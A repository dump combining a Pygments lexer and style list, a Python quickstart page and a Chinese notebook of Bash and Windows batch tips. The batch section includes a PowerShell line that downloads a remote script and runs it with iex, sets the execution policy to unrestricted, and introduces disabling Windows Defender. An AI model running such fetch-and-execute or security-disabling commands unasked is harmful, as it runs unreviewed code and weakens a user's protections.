ChaiScript (filenames *.chai) * chapel, chpl: Chapel (filenames *.chpl) * cheetah, spitfire: Cheetah (filenames *.tmpl, *.spt) * cirru: Cirru (filenames *.cirru) * clay: Clay (filenames *.clay) * clean: Clean (filenames *.icl, *.dcl) * clojure, clj: Clojure (filenames *.clj) * clojurescript, cljs: ClojureScript (filenames *.cljs) * cmake: CMake (filenames *.cmake, CMakeLists.txt) * cobol: COBOL (filenames *.cob, *.COB, *.cpy, *.CPY) * cobolfree: COBOLFree (filenames *.cbl, *.CBL) * coffee-script, coffeescript, coffee: CoffeeScript (filenames *.coffee) * common-lisp, cl, lisp: Common Lisp (filenames *.cl, *.lisp) * componentpascal, cp: Component Pascal (filenames *.cp, *.cps) * console, shell-session: Bash Session (filenames *.sh-session, *.shell-session) * control, debcontrol: Debian Control file (filenames control) * coq: Coq (filenames *.v) * cpp, c++: C++ (filenames *.cpp, *.hpp, *.c++, *.h++, *.cc, *.hh, *.cxx, *.hxx, *.C, *.H, *.cp, *.CPP) * cpp-objdump, c++-objdumb, cxx-objdump: cpp-objdump (filenames *.cpp-objdump, *.c++-objdump, *.cxx-objdump) * cpsa: CPSA (filenames *.cpsa) * cr, crystal: Crystal (filenames *.cr) * crmsh, pcmk: Crmsh (filenames *.crmsh, *.pcmk) * croc: Croc (filenames *.croc) * cryptol, cry: Cryptol (filenames *.cry) * csharp, c#: C# (filenames *.cs) * csound, csound-orc: Csound Orchestra (filenames *.orc) * csound-document, csound-csd: Csound Document (filenames *.csd) * csound-score, csound-sco: Csound Score (filenames *.sco) * css+django, css+jinja: CSS+Django/Jinja * css+erb, css+ruby: CSS+Ruby * css+genshitext, css+genshi: CSS+Genshi Text * css+lasso: CSS+Lasso * css+mako: CSS+Mako * css+mako: CSS+Mako * css+mozpreproc: CSS+mozpreproc (filenames *.css.in) * css+myghty: CSS+Myghty * css+php: CSS+PHP * css+smarty: CSS+Smarty * css: CSS (filenames *.css) * cucumber, gherkin: Gherkin (filenames *.feature) * cuda, cu: CUDA (filenames *.cu, *.cuh) * cypher: Cypher (filenames *.cyp, *.cypher) * cython, pyx, pyrex: Cython (filenames *.pyx, *.pxd, *.pxi) * d-objdump: d-objdump (filenames *.d-objdump) * d: D (filenames *.d, *.di) * dart: Dart (filenames *.dart) * delphi, pas, pascal, objectpascal: Delphi (filenames *.pas, *.dpr) * dg: dg (filenames *.dg) * diff, udiff: Diff (filenames *.diff, *.patch) * django, jinja: Django/Jinja * docker, dockerfile: Docker (filenames Dockerfile, *.docker) * doscon: MSDOS Session * dpatch: Darcs Patch (filenames *.dpatch, *.darcspatch) * dtd: DTD (filenames *.dtd) * duel, jbst, jsonml+bst: Duel (filenames *.duel, *.jbst) * dylan-console, dylan-repl: Dylan session (filenames *.dylan-console) * dylan-lid, lid: DylanLID (filenames *.lid, *.hdp) * dylan: Dylan (filenames *.dylan, *.dyl, *.intr) * earl-grey, earlgrey, eg: Earl Grey (filenames *.eg) * easytrieve: Easytrieve (filenames *.ezt, *.mac) * ebnf: EBNF (filenames *.ebnf) * ec: eC (filenames *.ec, *.eh) * ecl: ECL (filenames *.ecl) * eiffel: Eiffel (filenames *.e) * elixir, ex, exs: Elixir (filenames *.ex, *.exs) * elm: Elm (filenames *.elm) * emacs, elisp, emacs-lisp: EmacsLisp (filenames *.el) * erb: ERB * erl: Erlang erl session (filenames *.erl-sh) * erlang: Erlang (filenames *.erl, *.hrl, *.es, *.escript) * evoque: Evoque (filenames *.evoque) * extempore: xtlang (filenames *.xtm) * ezhil: Ezhil (filenames *.n) * factor: Factor (filenames *.factor) * fan: Fantom (filenames *.fan) * fancy, fy: Fancy (filenames *.fy, *.fancypack) * felix, flx: Felix (filenames *.flx, *.flxh) * fish, fishshell: Fish (filenames *.fish, *.load) * flatline: Flatline * forth: Forth (filenames *.frt, *.fs) * fortran: Fortran (filenames *.f03, *.f90, *.F03, *.F90) * fortranfixed: FortranFixed (filenames *.f, *.F) * foxpro, vfp, clipper, xbase: FoxPro (filenames *.PRG, *.prg) * fsharp: FSharp (filenames *.fs, *.fsi) * gap: GAP (filenames *.g, *.gd, *.gi, *.gap) * gas, asm: GAS (filenames *.s, *.S) * genshi, kid, xml+genshi, xml+kid: Genshi (filenames *.kid) * genshitext: Genshi Text * glsl: GLSL (filenames *.vert, *.frag, *.geo) * gnuplot: Gnuplot (filenames *.plot, *.plt) * go: Go (filenames *.go) * golo: Golo (filenames *.golo) * gooddata-cl: GoodData-CL (filenames *.gdc) * gosu: Gosu (filenames *.gs, *.gsx, *.gsp, *.vark) * groff, nroff, man: Groff (filenames *.[1234567], *.man) * groovy: Groovy (filenames *.groovy, *.gradle) * gst: Gosu Template (filenames *.gst) * haml: Haml (filenames *.haml) * handlebars: Handlebars * haskell, hs: Haskell (filenames *.hs) * haxeml, hxml: Hxml (filenames *.hxml) * hexdump: Hexdump * hsail, hsa: HSAIL (filenames *.hsail) * html+cheetah, html+spitfire, htmlcheetah: HTML+Cheetah * html+django, html+jinja, htmldjango: HTML+Django/Jinja * html+evoque: HTML+Evoque (filenames *.html) * html+genshi, html+kid: HTML+Genshi * html+handlebars: HTML+Handlebars (filenames *.handlebars, *.hbs) * html+lasso: HTML+Lasso * html+mako: HTML+Mako * html+mako: HTML+Mako * html+myghty: HTML+Myghty * html+ng2: HTML + Angular2 (filenames *.ng2) * html+php: HTML+PHP (filenames *.phtml) * html+smarty: HTML+Smarty * html+twig: HTML+Twig (filenames *.twig) * html+velocity: HTML+Velocity * html: HTML (filenames *.html, *.htm, *.xhtml, *.xslt) * http: HTTP * hx, haxe, hxsl: Haxe (filenames *.hx, *.hxsl) * hybris, hy: Hybris (filenames *.hy, *.hyb) * hylang: Hy (filenames *.hy) * i6t: Inform 6 template (filenames *.i6t) * idl: IDL (filenames *.pro) * idris, idr: Idris (filenames *.idr) * iex: Elixir iex session * igor, igorpro: Igor (filenames *.ipf) * inform6, i6: Inform 6 (filenames *.inf) * inform7, i7: Inform 7 (filenames *.ni, *.i7x) * ini, cfg, dosini: INI (filenames *.ini, *.cfg, *.inf) * io: Io (filenames *.io) * ioke, ik: Ioke (filenames *.ik) * irc: IRC logs (filenames *.weechatlog) * isabelle: Isabelle (filenames *.thy) * j: J (filenames *.ijs) * jags: JAGS (filenames *.jag, *.bug) * jasmin, jasminxt: Jasmin (filenames *.j) * java: Java (filenames *.java) * javascript+mozpreproc: Javascript+mozpreproc (filenames *.js.in) * jcl: JCL (filenames *.jcl) * jlcon: Julia console * js+cheetah, javascript+cheetah, js+spitfire, javascript+spitfire: JavaScript+Cheetah * js+django, javascript+django, js+jinja, javascript+jinja: JavaScript+Django/Jinja * js+erb, javascript+erb, js+ruby, javascript+ruby: JavaScript+Ruby * js+genshitext, js+genshi, javascript+genshitext, javascript+genshi: JavaScript+Genshi Text * js+lasso, javascript+lasso: JavaScript+Lasso * js+mako, javascript+mako: JavaScript+Mako * js+mako, javascript+mako: JavaScript+Mako * js+myghty, javascript+myghty: JavaScript+Myghty * js+php, javascript+php: JavaScript+PHP * js+smarty, javascript+smarty: JavaScript+Smarty * js, javascript: JavaScript (filenames *.js, *.jsm) * jsgf: JSGF (filenames *.jsgf) * json-object: JSONBareObject * json: JSON (filenames *.json) * jsonld, json-ld: JSON-LD (filenames *.jsonld) * jsp: Java Server Page (filenames *.jsp) * julia, jl: Julia (filenames *.jl) * juttle, juttle: Juttle (filenames *.juttle) * kal: Kal (filenames *.kal) * kconfig, menuconfig, linux-config, kernel-config: Kconfig (filenames Kconfig, *Config.in*, external.in*, standard-modules.in) * koka: Koka (filenames *.kk, *.kki) * kotlin: Kotlin (filenames *.kt) * lagda, literate-agda: Literate Agda (filenames *.lagda) * lasso, lassoscript: Lasso (filenames *.lasso, *.lasso[89]) * lcry, literate-cryptol, lcryptol: Literate Cryptol (filenames *.lcry) * lean: Lean (filenames *.lean) * less: LessCss (filenames *.less) * lhs, literate-haskell, lhaskell: Literate Haskell (filenames *.lhs) * lidr, literate-idris, lidris: Literate Idris (filenames *.lidr) * lighty, lighttpd: Lighttpd configuration file * limbo: Limbo (filenames *.b) * liquid: liquid (filenames *.liquid) * live-script, livescript: LiveScript (filenames *.ls) * llvm: LLVM (filenames *.ll) * logos: Logos (filenames *.x, *.xi, *.xm, *.xmi) * logtalk: Logtalk (filenames *.lgt, *.logtalk) * lsl: LSL (filenames *.lsl) * lua: Lua (filenames *.lua, *.wlua) * make, makefile, mf, bsdmake: Makefile (filenames *.mak, *.mk, Makefile, makefile, Makefile.*, GNUmakefile) * mako: Mako (filenames *.mao) * mako: Mako (filenames *.mao) * maql: MAQL (filenames *.maql) * mask: Mask (filenames *.mask) * mason: Mason (filenames *.m, *.mhtml, *.mc, *.mi, autohandler, dhandler) * mathematica, mma, nb: Mathematica (filenames *.nb, *.cdf, *.nbp, *.ma) * matlab: Matlab (filenames *.m) * matlabsession: Matlab session * md: markdown (filenames *.md) * minid: MiniD * modelica: Modelica (filenames *.mo) * modula2, m2: Modula-2 (filenames *.def, *.mod) * monkey: Monkey (filenames *.monkey) * monte: Monte (filenames *.mt) * moocode, moo: MOOCode (filenames *.moo) * moon, moonscript: MoonScript (filenames *.moon) * mozhashpreproc: mozhashpreproc * mozpercentpreproc: mozpercentpreproc * mql, mq4, mq5, mql4, mql5: MQL (filenames *.mq4, *.mq5, *.mqh) * mscgen, msc: Mscgen (filenames *.msc) * mupad: MuPAD (filenames *.mu) * mxml: MXML (filenames *.mxml) * myghty: Myghty (filenames *.myt, autodelegate) * mysql: MySQL * nasm: NASM (filenames *.asm, *.ASM) * ncl: NCL (filenames *.ncl) * nemerle: Nemerle (filenames *.n) * nesc: nesC (filenames *.nc) * newlisp: NewLisp (filenames *.lsp, *.nl, *.kif) * newspeak: Newspeak (filenames *.ns2) * ng2: Angular2 * nginx: Nginx configuration file (filenames nginx.conf) * nim, nimrod: Nimrod (filenames *.nim, *.nimrod) * nit: Nit (filenames *.nit) * nixos, nix: Nix (filenames *.nix) * nsis, nsi, nsh: NSIS (filenames *.nsi, *.nsh) * numpy: NumPy * nusmv: NuSMV (filenames *.smv) * objdump-nasm: objdump-nasm (filenames *.objdump-intel) * objdump: objdump (filenames *.objdump) * objective-c++, objectivec++, obj-c++, objc++: Objective-C++ (filenames *.mm, *.hh) * objective-c, objectivec, obj-c, objc: Objective-C (filenames *.m, *.h) * objective-j, objectivej, obj-j, objj: Objective-J (filenames *.j) * ocaml: OCaml (filenames *.ml, *.mli, *.mll, *.mly) * octave: Octave (filenames *.m) * odin: ODIN (filenames *.odin) * ooc: Ooc (filenames *.ooc) * opa: Opa (filenames *.opa) * openedge, abl, progress: OpenEdge ABL (filenames *.p, *.cls) * pacmanconf: PacmanConf (filenames pacman.conf) * pan: Pan (filenames *.pan) * parasail: ParaSail (filenames *.psi, *.psl) * pawn: Pawn (filenames *.p, *.pwn, *.inc) * perl, pl: Perl (filenames *.pl, *.pm, *.t) * perl6, pl6: Perl6 (filenames *.pl, *.pm, *.nqp, *.p6, *.6pl, *.p6l, *.pl6, *.6pm, *.p6m, *.pm6, *.t) * php, php3, php4, php5: PHP (filenames *.php, *.php[345], *.inc) * pig: Pig (filenames *.pig) * pike: Pike (filenames *.pike, *.pmod) * pkgconfig: PkgConfig (filenames *.pc) * plpgsql: PL/pgSQL * postgresql, postgres: PostgreSQL SQL dialect * postscript, postscr: PostScript (filenames *.ps, *.eps) * pot, po: Gettext Catalog (filenames *.pot, *.po) * pov: POVRay (filenames *.pov, *.inc) * powershell, posh, ps1, psm1: PowerShell (filenames *.ps1, *.psm1) * praat: Praat (filenames *.praat, *.proc, *.psc) * prolog: Prolog (filenames *.ecl, *.prolog, *.pro, *.pl) * properties, jproperties: Properties (filenames *.properties) * protobuf, proto: Protocol Buffer (filenames *.proto) * ps1con: PowerShell Session * psql, postgresql-console, postgres-console: PostgreSQL console (psql) * pug, jade: Pug (filenames *.pug, *.jade) * puppet: Puppet (filenames *.pp) * py3tb: Python 3.0 Traceback (filenames *.py3tb) * pycon: Python console session * pypylog, pypy: PyPy Log (filenames *.pypylog) * pytb: Python Traceback (filenames *.pytb) * python, py, sage: Python (filenames *.py, *.pyw, *.sc, SConstruct, SConscript, *.tac, *.sage) * python3, py3: Python 3 * qbasic, basic: QBasic (filenames *.BAS, *.bas) * qml, qbs: QML (filenames *.qml, *.qbs) * qvto, qvt: QVTO (filenames *.qvto) * racket, rkt: Racket (filenames *.rkt, *.rktd, *.rktl) * ragel-c: Ragel in C Host (filenames *.rl) * ragel-cpp: Ragel in CPP Host (filenames *.rl) * ragel-d: Ragel in D Host (filenames *.rl) * ragel-em: Embedded Ragel (filenames *.rl) * ragel-java: Ragel in Java Host (filenames *.rl) * ragel-objc: Ragel in Objective C Host (filenames *.rl) * ragel-ruby, ragel-rb: Ragel in Ruby Host (filenames *.rl) * ragel: Ragel * raw: Raw token data * rb, ruby, duby: Ruby (filenames *.rb, *.rbw, Rakefile, *.rake, *.gemspec, *.rbx, *.duby, Gemfile) * rbcon, irb: Ruby irb session * rconsole, rout: RConsole (filenames *.Rout) * rd: Rd (filenames *.Rd) * rebol: REBOL (filenames *.r, *.r3, *.reb) * red, red/system: Red (filenames *.red, *.reds) * redcode: Redcode (filenames *.cw) * registry: reg (filenames *.reg) * resource, resourcebundle: ResourceBundle (filenames *.txt) * rexx, arexx: Rexx (filenames *.rexx, *.rex, *.rx, *.arexx) * rhtml, html+erb, html+ruby: RHTML (filenames *.rhtml) * rnc, rng-compact: Relax-NG Compact (filenames *.rnc) * roboconf-graph: Roboconf Graph (filenames *.graph) * roboconf-instances: Roboconf Instances (filenames *.instances) * robotframework: RobotFramework (filenames *.txt, *.robot) * rql: RQL (filenames *.rql) * rsl: RSL (filenames *.rsl) * rst, rest, restructuredtext: reStructuredText (filenames *.rst, *.rest) * rts, trafficscript: TrafficScript (filenames *.rts) * rust: Rust (filenames *.rs, *.rs.in) * sas: SAS (filenames *.SAS, *.sas) * sass: Sass (filenames *.sass) * sc, supercollider: SuperCollider (filenames *.sc, *.scd) * scala: Scala (filenames *.scala) * scaml: Scaml (filenames *.scaml) * scheme, scm: Scheme (filenames *.scm, *.ss) * scilab: Scilab (filenames *.sci, *.sce, *.tst) * scss: SCSS (filenames *.scss) * shen: Shen (filenames *.shen) * silver: Silver (filenames *.sil, *.vpr) * slim: Slim (filenames *.slim) * smali: Smali (filenames *.smali) * smalltalk, squeak, st: Smalltalk (filenames *.st) * smarty: Smarty (filenames *.tpl) * sml: Standard ML (filenames *.sml, *.sig, *.fun) * snobol: Snobol (filenames *.snobol) * snowball: Snowball (filenames *.sbl) * sourceslist, sources.list, debsources: Debian Sourcelist (filenames sources.list) * sp: SourcePawn (filenames *.sp) * sparql: SPARQL (filenames *.rq, *.sparql) * spec: RPMSpec (filenames *.spec) * splus, s, r: S (filenames *.S, *.R, .Rhistory, .Rprofile, .Renviron) * sql: SQL (filenames *.sql) * sqlite3: sqlite3con (filenames *.sqlite3-console) * squidconf, squid.conf, squid: SquidConf (filenames squid.conf) * ssp: Scalate Server Page (filenames *.ssp) * stan: Stan (filenames *.stan) * stata, do: Stata (filenames *.do, *.ado) * swift: Swift (filenames *.swift) * swig: SWIG (filenames *.swg, *.i) * systemverilog, sv: systemverilog (filenames *.sv, *.svh) * tads3: TADS 3 (filenames *.t) * tap: TAP (filenames *.tap) * tasm: TASM (filenames *.asm, *.ASM, *.tasm) * tcl: Tcl (filenames *.tcl, *.rvt) * tcsh, csh: Tcsh (filenames *.tcsh, *.csh) * tcshcon: Tcsh Session * tea: Tea (filenames *.tea) * termcap: Termcap (filenames termcap, termcap.src) * terminfo: Terminfo (filenames terminfo, terminfo.src) * terraform, tf: Terraform (filenames *.tf) * tex, latex: TeX (filenames *.tex, *.aux, *.toc) * text: Text only (filenames *.txt) * thrift: Thrift (filenames *.thrift) * todotxt: Todotxt (filenames todo.txt, *.todotxt) * trac-wiki, moin: MoinMoin/Trac Wiki markup * treetop: Treetop (filenames *.treetop, *.tt) * ts, typescript: TypeScript (filenames *.ts) * tsql, t-sql: Transact-SQL (filenames *.sql) * turtle: Turtle (filenames *.ttl) * twig: Twig * typoscript: TypoScript (filenames *.ts, *.txt) * typoscriptcssdata: TypoScriptCssData * typoscripthtmldata: TypoScriptHtmlData * urbiscript: UrbiScript (filenames *.u) * vala, vapi: Vala (filenames *.vala, *.vapi) * vb.net, vbnet: VB.net (filenames *.vb, *.bas) * vcl: VCL (filenames *.vcl) * vclsnippets, vclsnippet: VCLSnippets * vctreestatus: VCTreeStatus * velocity: Velocity (filenames *.vm, *.fhtml) * verilog, v: verilog (filenames *.v) * vgl: VGL (filenames *.rpf) * vhdl: vhdl (filenames *.vhdl, *.vhd) * vim: VimL (filenames *.vim, .vimrc, .exrc, .gvimrc, _vimrc, _exrc, _gvimrc, vimrc, gvimrc) * wdiff: WDiff (filenames *.wdiff) * whiley: Whiley (filenames *.whiley) * x10, xten: X10 (filenames *.x10) * xml+cheetah, xml+spitfire: XML+Cheetah * xml+django, xml+jinja: XML+Django/Jinja * xml+erb, xml+ruby: XML+Ruby * xml+evoque: XML+Evoque (filenames *.xml) * xml+lasso: XML+Lasso * xml+mako: XML+Mako * xml+mako: XML+Mako * xml+myghty: XML+Myghty * xml+php: XML+PHP * xml+smarty: XML+Smarty * xml+velocity: XML+Velocity * xml: XML (filenames *.xml, *.xsl, *.rss, *.xslt, *.xsd, *.wsdl, *.wsf) * xquery, xqy, xq, xql, xqm: XQuery (filenames *.xqy, *.xquery, *.xq, *.xql, *.xqm) * xslt: XSLT (filenames *.xsl, *.xslt, *.xpl) * xtend: Xtend (filenames *.xtend) * xul+mozpreproc: XUL+mozpreproc (filenames *.xul.in) * yaml+jinja, salt, sls: YAML+Jinja (filenames *.sls) * yaml: YAML (filenames *.yaml, *.yml) * zephir: Zephir (filenames *.zep) Formatters: ~~~~~~~~~~~ * bbcode, bb: Format tokens with BBcodes. These formatting codes are used by many bulletin boards, so you can highlight your sourcecode with pygments before posting it there. * bmp, bitmap: Create a bitmap image from source code. This uses the Python Imaging Library to generate a pixmap from the source code. (filenames *.bmp) * gif: Create a GIF image from source code. This uses the Python Imaging Library to generate a pixmap from the source code. (filenames *.gif) * html: Format tokens as HTML 4 ```` tags within a ``
    `` tag, wrapped in a ``
    `` tag. The ``
    ``'s CSS class can be set by the `cssclass` option. (filenames *.html, *.htm) * img, IMG, png: Create a PNG image from source code. This uses the Python Imaging Library to generate a pixmap from the source code. (filenames *.png) * irc, IRC: Format tokens with IRC color sequences * jpg, jpeg: Create a JPEG image from source code. This uses the Python Imaging Library to generate a pixmap from the source code. (filenames *.jpg) * latex, tex: Format tokens as LaTeX code. This needs the `fancyvrb` and `color` standard packages. (filenames *.tex) * raw, tokens: Format tokens as a raw representation for storing token streams. (filenames *.raw) * rtf: Format tokens as RTF markup. This formatter automatically outputs full RTF documents with color information and other useful stuff. Perfect for Copy and Paste into Microsoft(R) Word(R) documents. (filenames *.rtf) * svg: Format tokens as an SVG graphics file. This formatter is still experimental. Each line of code is a ```` element with explicit ``x`` and ``y`` coordinates containing ```` elements with the individual token styles. (filenames *.svg) * terminal, console: Format tokens with ANSI color sequences, for output in a text console. Color sequences are terminated at newlines, so that paging the output works correctly. * terminal16m, console16m, 16m: Format tokens with ANSI color sequences, for output in a true-color terminal or console. Like in `TerminalFormatter` color sequences are terminated at newlines, so that paging the output works correctly. * terminal256, console256, 256: Format tokens with ANSI color sequences, for output in a 256-color terminal or console. Like in `TerminalFormatter` color sequences are terminated at newlines, so that paging the output works correctly. * testcase: Format tokens as appropriate for a new testcase. * text, null: Output the text unchanged without any formatting. (filenames *.txt) Filters: ~~~~~~~~ * raiseonerror: Raise an exception when the lexer generates an error token. * whitespace: Convert tabs, newlines and/or spaces to visible characters. * tokenmerge: Merges consecutive tokens with the same token type in the output stream of a lexer. * highlight: Highlight a normal Name (and Name.*) token with a different token type. * gobble: Gobbles source code lines (eats initial characters). * codetagify: Highlight special code tags in comments and docstrings. * keywordcase: Convert keywords to lowercase or uppercase or capitalize them, which means first letter uppercase, rest lowercase. Styles: ~~~~~~~ * manni: A colorful style, inspired by the terminal highlighting style. * igor: Pygments version of the official colors for Igor Pro procedures. * lovelace: The style used in Lovelace interactive learning environment. Tries to avoid the "angry fruit salad" effect with desaturated and dim colours. * xcode: Style similar to the Xcode default colouring theme. * vim: Styles somewhat like vim 7.0 * autumn: A colorful style, inspired by the terminal highlighting style. * abap: * vs: * rrt: Minimalistic "rrt" theme, based on Zap and Emacs defaults. * native: Pygments version of the "native" vim theme. * perldoc: Style similar to the style used in the perldoc code blocks. * borland: Style similar to the style used in the borland IDEs. * arduino: The Arduino® language style. This style is designed to highlight the Arduino source code, so exepect the best results with it. * tango: The Crunchy default Style inspired from the color palette from the Tango Icon Theme Guidelines. * emacs: The default style (inspired by Emacs 22). * friendly: A modern style based on the VIM pyte theme. * monokai: This style mimics the Monokai color scheme. * paraiso-dark: * colorful: A colorful style, inspired by CodeRay. * murphy: Murphy's style from CodeRay. * bw: * pastie: Style similar to the pastie default style. * rainbow_dash: A bright and colorful syntax highlighting theme. * algol_nu: * paraiso-light: * trac: Port of the default trac highlighter design. * default: The default style (inspired by Emacs 22). * algol: * fruity: Pygments version of the "native" vim theme. ================================================ FILE: doc/python/quickstart.html ================================================ Python_QuickStart

    Python QuickStart

    Comments

    # This is a one-line Python comment - code blocks are so useful!
    """This type of comment is used to document the purpose of functions and classes."""
    

    Declaration/Initialization

    # Remember values, not variables, have data types.
    # A variable can be reassigned to contain a different data type.
    answer = 42
    answer = "The answer is 42."
    

    Data Types

    boolean = True
    number = 1.1
    string = "Strings can be declared with single or double quotes."
    list = ["Lists can have", 1, 2, 3, 4, "or more types together!"]
    tuple = ("Tuples", "can have", "more than", 2, "elements!")
    dictionary = {'one': 1, 'two': 2, 'three': 3}
    variable_with_zero_data = None
    

    Simple Logging

    print "Printed!"
    

    Conditionals

    if cake == "delicious":
        return "Yes please!"
    elif cake == "okay":
        return "I'll have a small piece."
    else:
        return "No, thank you."
    

    Loops

    for item in list:
        print item
    while (total < max_val):
        total += values[i]
        i += 2
    

    Functions

    def divide(dividend, divisor):
        quotient = dividend / divisor
        remainder = dividend % divisor
        return quotient, remainder
    
    def calculate_stuff(x, y):
        (q, r) = divide(x,y)
        print q, r
    

    Classes

    class Person(object):
        def __init__(self, name, age):
            self.name = name
            self.age = age 
    
        def birthday(self):
            self.age += 1
    

    ================================================ FILE: docs/404.html ================================================ notebook
    ================================================ FILE: docs/BASH/index.html ================================================ BASH - notebook

    BASH

    在bash脚本中使用alias

    @TAG alias

    加上这么一句:

    shopt -s expand_aliases
    

    判断命令行参数是否为空

    在python里可以用len(sys.argv)判断参数个数,bash里用中括号里的-z

    if [ -z "$1" ] && [ -z "$2" ]; then
        echo "Usage: $0 <parameter1> <parameter2>"
    fi
    

    for循环用seq生成数字列表

    @TAG seq

    注意终点是包含在内的,不同于Python的range

    • seq 3: 1 2 3
    • seq 2 3: 2 3
    • seq 1 2 5: 1 3 5
    for i in $(seq 1 $END); do echo $i; done
    

    BASH做不同进制间数学计算

    不需要bc也可以直接做计算,例如计算5+0xa+0b1010

    echo $((5+16#a+2#1010))
    

    判断命令不存在再apt安装

    command -v aria2c >/dev/null 2>&1 || { apt update && apt install -y aria2; }
    

    如果有多个软件可能要安装,没必要每次都apt update,可以先装了再说 失败就apt update

    command -v 7z >/dev/null 2>&1 || { apt-get install -y p7zip; }
    command -v 7z >/dev/null 2>&1 || { apt update;  apt-get install -y p7zip; }
    

    判断文件不存在

    注意]前面要有空格

    if [ ! -f "somefile" ]; then
        curl ...
    fi
    

    sort排序

    逆序 -r 按版本排序 排序IP地址 -V 按数字排序 -n 按人类理解的文件大小排序 -h 指定某些列来排序 -k 3,3 -k 4,4 指定分隔符用-t ‘.’

    参考: https://www.madboa.com/geek/sort-addr/


    rsync移动远程目录特定文件至本机后循环操作

    rsync有--dry-run参数确认没出错后再操作

    rsync -P --remove-source-files -avz '1.2.3.4:/root/dockerimages/*.tar.7z' ./
    
    for filename in *.tar.7z; do 
        7z x -so $filename | docker load; 
        mv $filename ./done/; 
    done
    
    ================================================ FILE: docs/BAT/index.html ================================================ BAT批处理 - notebook

    BAT 批处理

    也包含一些Windows命令行工具

    快速打开cmd

    还在用Win+R cmd再用pushd命令?

    在资源管理器的地址栏输入cmd回车就能直接进入当前目录

    另外,不如直接把cmd加入到鼠标右键


    并列语句语法

    顺序执行 &
    echo a & echo b 
    
    前者正确才执行 &&
    >nul 2>nul ping -n 1 qq.com && echo network ok
    
    前者错误才执行 ||
    >nul 2>nul ping -n 1 qq.com || echo network failure
    

    来一个死循环吧 for

    用于结束进程,或者DNS查询看看解析是否生效

    for /l %i in (1,1,9999999) do ...
    

    结束进程 taskkill

    当启动cmd窗口过多的时候,使用taskkill批量关闭

    taskkill /f /im cmd.exe
    

    类似的Linux命令为killall bash


    内存整理 free

    微软自己出的一个内存整理工具,需要管理员权限

    下载:empty.exe

    empty *
    

    睡一会 SleepX

    程序需要等待一定时间再继续运行就可以sleepx啦,作者Bill Stewart (bstewart@iname.com)

    下载:SleepX.exe

    SleepX 10
    

    等待5s,如果用户等不及可以按键,此时 not “%errorlevel%” == “0”

    SleepX -k 5
    

    命令行的浏览器 curl

    cURL

    大名鼎鼎的cURL,不必多言;只是它的命令行的运行方式与libcurl用起来差异很大(如比较php的curl用法)

    官方:https://curl.haxx.se/

    简单入门:http://www.bathome.net/thread-1761-1-1.html

    将curl转为python requests http://curl.trillworks.com/

    下载7.51 x64版本

    具体请见单独文档cURL.md


    判断文件夹存在

    通过判断nul这个特殊文件的存在性(用户并不能创建文件名形如nul的特殊文件)

    if exist DIRNAME\nul echo Yes!
    

    Win7及以上:

    mklink /H Link Target
    

    目录还需要/J

    mklink /H /J Link Target
    

    WinXP只能用:

    fsutil hardlink create <new filename> <existing filename>
    

    端口转发

    此命令需要管理员权限

    netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=转发出的端口 connectaddress=转发的源IP地址 connectport=转发的源端口
    

    保持RVPN不断开

    rvpn会自动断开,所以写了个脚本判断并自动重连

    RVPNKeepAlive.bat

    其中的知识点:

    1. 判断命令是否成功用if “%errorlevel%”==”0”,errorlevel这个变量是上一条命令的返回结果(C程序的int main的返回值),一般规定返回0表示没有发生错误

    2. 用ping www.baidu.com和ping -n 2 ip.cn做粗糙的等待延时,其中-n表示ping的次数,默认是4,改小一点就是更短的延时咯

    3. 启动一个GUI的exe,需要用start “” example.exe


    浙江大学有线vpn静态路由配置脚本

    Author: shuishui

    静态路由设置.bat


    进入休眠

    Win10似乎没有从鼠标进入休眠而不是睡眠的方法,但调用rundll32进入休眠模式还是可以的:

    rundll32.exe powrProf.dll,SetSuspendState
    

    快速进入系统代理设置

    @TAG 代理

    From: https://stackoverflow.com/questions/3648366/is-it-possible-to-launch-ies-proxy-settings-dialog-from-the-command-line

    不用启动c:\Program Files\Internet Explorer\iexplore.exe,直接Win+R输入这个就能打开IE的连接设置,方便修改代理:

    inetcpl.cpl ,4
    

    在普通权限cmd中获得更高权限

    比如下文的修改ip等操作就需要管理员权限。你可以先启动任务管理器,再运行一个管理员权限的cmd;现在有了更加直接的操作

    方案1:elevate

    下载地址:http://code.kliu.org/misc/elevate/elevate-1.3.0-redist.7z

    特点:有UAC弹窗,会启动一个新窗口

    例子:

    REM 启动一个特权的cmd
    elevate -k
    REM 执行dir并等待结束
    elevate -c -w dir
    

    方案2:Sudo for Windows – Luke Sampson

    参考:https://helpdeskgeek.com/free-tools-review/5-windows-alternatives-linux-sudo-command/

    在powershell中输入以下命令完成安装:

    iex (new-object net.webclient).downloadstring(https://get.scoop.sh)
    
    set-executionpolicy unrestricted -s cu -f
    
    scoop install sudo
    

    特点:比较慢,仍然有UAC弹窗,不会启动一个新窗口


    命令行配置IP

    需要管理员权限,参见上方在普通权限cmd中获得更高权限

    参考:https://helpdeskgeek.com/networking/change-ip-address-and-dns-servers-using-the-command-prompt/

    首先使用netsh interface ip show config查看适配器的名称,假设需要配置的是以太网

    配置静态IP和DNS

    netsh interface ip set address name="以太网" static 192.168.1.101 255.255.255.0 192.168.1.1
    netsh interface ip set dns "以太网" static 192.168.1.1
    

    配置DHCP

    netsh interface ip set address name="以太网" dhcp
    netsh interface ip set dns "以太网" dhcp
    

    命令行使用VeraCrypt

    VeraCrypt是TrueCrypt代替者,其命令行使用方式: https://www.veracrypt.fr/en/Command%20Line%20Usage.html

    下载Portable版本即可,下载地址:https://www.veracrypt.fr/en/Downloads.html

    创建一个加密盘

    不与用户交互所以指定/q /s,具体来说/q表示不显示主窗口,/s表示不显示任何交互窗口也不报错,注意使用这两个参数后即使出错也不会有任何提醒

    文件名test.hc,大小100M,密码必须20个字符或以上,加密方式使用最快的Serpent,为了加速挂载过程指定/pim 1

    "VeraCrypt Format.exe" /create test.hc /password testtesttesttesttest /hash sha512 /encryption serpent /filesystem FAT /size 100M /pim 1 /force /silent
    

    如果不指定/pim来降低迭代次数,挂载时需要耗时十秒以上无法接受,所以牺牲一点安全性来换取性能。关于PIM的文档: https://www.veracrypt.fr/en/Personal%20Iterations%20Multiplier%20(PIM).html

    挂载加密盘

    挂载test.hc至Z:盘,需要指定与创建过程相同的/pim

    这个命令会立即返回,但真正挂载可以访问Z盘可能还需要等待数秒

    VeraCrypt.exe /quit /silent /volume test.hc /password testtesttesttesttest /pim 1 /l z
    

    卸载已经挂载的加密盘

    VeraCrypt.exe /quit /silent /dismount z
    

    命令行关闭Windows Defender

    在进行大量IO操作的时候(如拷贝大量小文件),Windows Defender会严重拖慢任务速度

    在管理员权限下powershell可以直接临时关闭Windows Defender的实时防护

